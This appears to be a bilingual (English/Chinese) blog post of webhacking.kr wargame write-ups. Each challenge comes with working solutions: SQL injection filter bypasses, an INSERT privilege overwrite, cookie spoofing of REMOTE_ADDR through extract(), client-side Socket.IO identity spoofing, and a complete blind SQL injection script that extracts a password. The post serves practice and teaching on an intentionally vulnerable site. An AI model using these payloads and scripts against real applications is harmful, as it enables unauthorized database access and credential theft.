Hello Navi

Tech, Security & Personal Notes

Challenge

Return the admin row while bypassing the SQL filters.

绕过 SQL 过滤器并返回 admin 记录。

1
https://webhacking.kr/challenge/web-12/

Analysis

题目的查询形态为:

1
SELECT id FROM chall27 WHERE id='guest' AND no=(INPUT)

过滤器拒绝 #、空格、=、select、limit、0x 和括号中的部分形式。payload 先用 0) 闭合 no=(INPUT),再用 URL 编码的 Tab 作为 SQL 空白,用 LIKE 替代 =,最后用 -- 注释掉服务端拼接的右括号。2 是 admin 行对应的 no 值,因此条件会返回目标记录。

Solution

完整请求脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
import requests

BASE_URL = "https://webhacking.kr/challenge/web-12/"
PAYLOAD = "0)%09or%09no%09like%092%09--%09"

def main() -> None:
# 保留 %09;直接拼接可避免 requests 将其变成字面量 %2509。
response = requests.get(
BASE_URL + "?no=" + PAYLOAD,
timeout=20,
)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

服务端收到并解码 Tab 后,拼接结果等价于:

1
SELECT id FROM chall27 WHERE id='guest' AND no=(0) OR no LIKE 2 -- )

该 payload 让查询结果命中 no=2 的 admin 记录。

Challenge

Use the client-side username value to send the flag command as admin.

利用客户端 username 值,以 admin 身份发送 flag 命令。

1
http://webhacking.kr:10007/

Analysis

页面通过 Socket.IO 发送命令:

1
socket.emit('cmd', username + ':' + $('#m').val());

username 初始值为 guest,但身份字符串由客户端拼接后直接发送。把发送内容改为 admin:flag,即可让服务端按 admin 分支处理 flag 命令。

Solution

在题目页面的 browser console 中执行:

1
2
3
const socket = window.io();
socket.on('cmd', (message) => console.log(message));
socket.emit('cmd', 'admin:flag');

Challenge

Create an account whose privilege field becomes admin.

通过 SQL injection 将新账号的权限字段变成 admin。

1
https://webhacking.kr/challenge/web-36/

Analysis

JOIN 查询把输入直接拼接为:

1
insert into chall59 values('{id}',{phone},'guest')

id 不能包含 admin,phone 仍可调用 reverse。把 id 设为 nimda,并令 phone 的表达式闭合原有值后写入 reverse(id),第三列即可得到 admin;末尾的 SQL 注释会截断固定的 guest。

Solution

JOIN 表单:

1
2
id=nimda
phone=1,reverse(id))--%20

LOGIN 表单:

1
2
lid=nimda
lphone=1

成功登录后页面显示 id : nimda、lv : admin。

Challenge

Make the selected expression evaluate to the admin string.

让 SELECT 表达式返回 admin。

1
https://webhacking.kr/challenge/web-38/

Analysis

id 被直接插入 SELECT 列表达式。括号、逗号、点号和若干关键词会被过滤,长度限制为 15;MySQL 十六进制字符串可以在不使用引号的情况下表示 admin。在表达式后加空格和列别名 id,结果字段名就是题目检查的 id。

Solution

请求参数为:

1
?id=0x61646d696e%20id

解码后,服务端执行的关键查询为:

1
2
3
4
SELECT 0x61646d696e id
FROM chall61
ORDER BY id DESC
LIMIT 1

0x61646d696e 解码为 admin,别名使返回列名为 id。

Challenge

Make the same input produce different SQL results across the four checks.

让同一个输入在四次 SQL 检查中产生所需的不同结果。

1
https://webhacking.kr/challenge/new-10/

Analysis

服务端把 no 同时拼入无引号和有引号的两个查询,并依次要求:

  1. 第一个查询第一次返回 admin;
  2. 第一个查询第二次不返回 admin;
  3. 第二个查询第一次不返回 admin;
  4. 第二个查询第二次返回 admin。

admin 和 if 被过滤。payload 用十六进制字面量表示 admin,再用 CASE WHEN RAND() 让四次执行得到所需的真假序列;UNION SELECT 将结果放入检查列。

Solution

提交:

1
0 union select case when rand()>.5 then 0x61646d696e end#' union select case when rand()>.5 then 0x61646d696e end

RAND() 是随机的,因此单次请求不能保证成功;复现时应按响应结果重试。

本文只说明 payload 结构。MySQL 版本差异可能改变 RAND() 的求值顺序,单次请求也不能保证成功。

Challenge

Read the JavaScript and derive the hidden PHP path.

阅读 JavaScript,推导隐藏的 PHP 路径。

1
https://webhacking.kr/challenge/js-3/

Analysis

脚本用 String.fromCharCode(124) 生成字符 |,再拼接 .php。这是相对当前 challenge 目录的路径,因此浏览器会请求 |.php。竖线不是路径分隔符,放入 URL 时必须百分号编码。

Solution

下面根据题面规则构造请求:

1
2
3
4
5
6
7
8
9
from urllib.parse import quote
from urllib.request import Request

BASE_URL = "https://webhacking.kr/challenge/js-3/"
filename = chr(124) + ".php"
request_url = BASE_URL + quote(filename, safe="")
request = Request(request_url, method="GET")

print(request.full_url)

quote 会把生成的 | 编码为 %7C,请求对象因此携带正确的 URL 编码路径。

Challenge

Make the normalized client IP equal 127.0.0.1.

让服务端规范化后的 client IP 等于 127.0.0.1。

1
https://webhacking.kr/challenge/bonus-4/

Analysis

题目先把 $_SERVER 提取为变量,再把 $_COOKIE 提取为变量。后一次 extract() 允许名为 REMOTE_ADDR 的 Cookie 覆盖原始客户端地址,因此输入可以控制 $ip。

服务端随后按顺序执行以下替换:

1
2
3
4
$ip = str_replace("..", ".", $ip);
$ip = str_replace("12", "", $ip);
$ip = str_replace("7.", "", $ip);
$ip = str_replace("0.", "", $ip);

输入由 1122、77、三个 .、00、三个 .、00、三个 . 和 1 拼接得到。依次执行替换后,中间结果为 112277..00..00..1、1277..00..00..1、127.00..00..1,最后得到 127.0.0.1。

Solution

通过 Cookie 发送伪造的 REMOTE_ADDR;HTTP 示例中的 <FORGED_IP> 由下方脚本精确生成:

1
2
3
GET /challenge/bonus-4/ HTTP/1.1
Host: webhacking.kr
Cookie: REMOTE_ADDR=<FORGED_IP>

完整 Python 请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
import requests

URL = "https://webhacking.kr/challenge/bonus-4/"
FORGED_IP = "112277" + "." * 3 + "00" + "." * 3 + "00" + "." * 3 + "1"

def main() -> None:
response = requests.get(
URL,
cookies={"REMOTE_ADDR": FORGED_IP},
timeout=20,
)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

响应中的 client IP 应为 127.0.0.1。

该题依赖 Cookie 请求通道和部署行为;若页面仍显示原始地址或 no hack,说明请求未满足条件。

Challenge

Use the fixed-length substring boundary to recover the intended SQL string.

利用固定长度截断恢复预期 SQL 字符串。

1
https://webhacking.kr/challenge/bonus-10/

Analysis

id 会进入 SQL 查询,并在服务端按固定长度截断。输入 DesKel 后追加八个空格和单引号时,补在服务端查询末尾的引号落到截断范围之外。这样保留下来的字符串可以闭合前面的 SQL 字符串,查询按题目预期进入成功分支。

Solution

为避免 Markdown 和 shell 丢失尾部空格,使用 percent-encoding 表示完整 payload:

1
2
3
curl -sS \
--data 'id=DesKel%20%20%20%20%20%20%20%20%27' \
'https://webhacking.kr/challenge/bonus-10/'

解码后的 id 是 DesKel、八个空格和一个单引号。服务端按预期解析该固定长度的 id。

Challenge

Collect the characters returned by sequential XMLHttpRequest calls.

收集连续 XMLHttpRequest 请求返回的 flag 字符。

1
https://webhacking.kr/challenge/bonus-14/

Analysis

页面脚本从 m=0 开始依次请求 ?m=i,每个响应只包含当前字符。原脚本用 innerHTML = responseText 覆盖前一个字符,所以页面上直接观察时只能看到最后一次响应。把响应追加到一个字符串,或者在 Network 面板逐个读取 response body,就能重建字符流。

Solution

在已登录 old-54 页面中运行以下完整浏览器脚本。它保持 same-origin session,按顺序请求每个索引,打印单字符响应,并在空响应或题目使用的 ? 终止响应出现时停止:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(async function collectOld54() {
const endpoint = "/challenge/bonus-14/";
let result = "";

for (let index = 0; index < 128; index += 1) {
const response = await fetch(`${endpoint}?m=${index}`, {
credentials: "same-origin",
cache: "no-store"
});
const character = await response.text();
console.log(index, JSON.stringify(character));

if (character === "" || character === "?") {
break;
}

result += character;
}

console.log("collected:", result);
return result;
})();

如果直接修改题目原脚本,关键赋值必须从覆盖改为追加:

1
aview.innerHTML += x.responseText;

Challenge

Extract the secret password through the no parameter.

通过 no 参数提取隐藏密码。

1
https://webhacking.kr/challenge/web-09/

Analysis

页面根据 no 查询 chall9 表中的记录。no=3 会显示 Secret 页面,响应中的 Secret 可以作为真假 oracle。已知查询形态近似为:

1
SELECT id FROM chall9 WHERE no=<no>

过滤器会拦截常见比较符和空格,因此使用 IF、SUBSTR、LIKE 和十六进制字面量构造条件。条件为真时让表达式返回 3,条件为假时返回 0:

1
IF(SUBSTR(id,<position>,1)LIKE(<hex character>),3,0)

当响应包含 Secret 时,当前字符猜测正确。密码长度是 11 个字符,逐位置遍历可打印 ASCII 字符即可恢复完整值。

Solution

下面的脚本保留同一个 session,并先枚举密码,再向 pw 参数提交结果。运行前把自己的登录 session 放入环境变量,脚本不会包含任何真实 Cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import os
import string

import requests

BASE_URL = "https://webhacking.kr/challenge/web-09/"
SECRET_MARKER = "Secret"
PASSWORD_LENGTH = 11

def make_condition(position, character):
encoded = hex(ord(character))
return f"IF(SUBSTR(id,{position},1)LIKE({encoded}),3,0)"

def response_is_true(session, payload):
response = session.get(
BASE_URL,
params={"no": payload},
timeout=20,
)
response.raise_for_status()
return SECRET_MARKER in response.text

def extract_password(session):
password = []
for position in range(1, PASSWORD_LENGTH + 1):
for character in string.printable:
if character in "\r\n\t\x0b\x0c":
continue
payload = make_condition(position, character)
if response_is_true(session, payload):
password.append(character)
break
else:
raise RuntimeError(f"no character matched at position {position}")
return "".join(password)

def main():
session_cookie = os.environ.get("CHALLENGE_SESSION")
if not session_cookie:
raise SystemExit("set session-cookie to your own challenge session before running")

session = requests.Session()
session.cookies.set("PHPSESSID", session_cookie, domain="webhacking.kr", path="/")

password = extract_password(session)
print(f"password={password}")

result = session.get(BASE_URL, params={"pw": password}, timeout=20)
result.raise_for_status()
print(result.text)

if __name__ == "__main__":
main()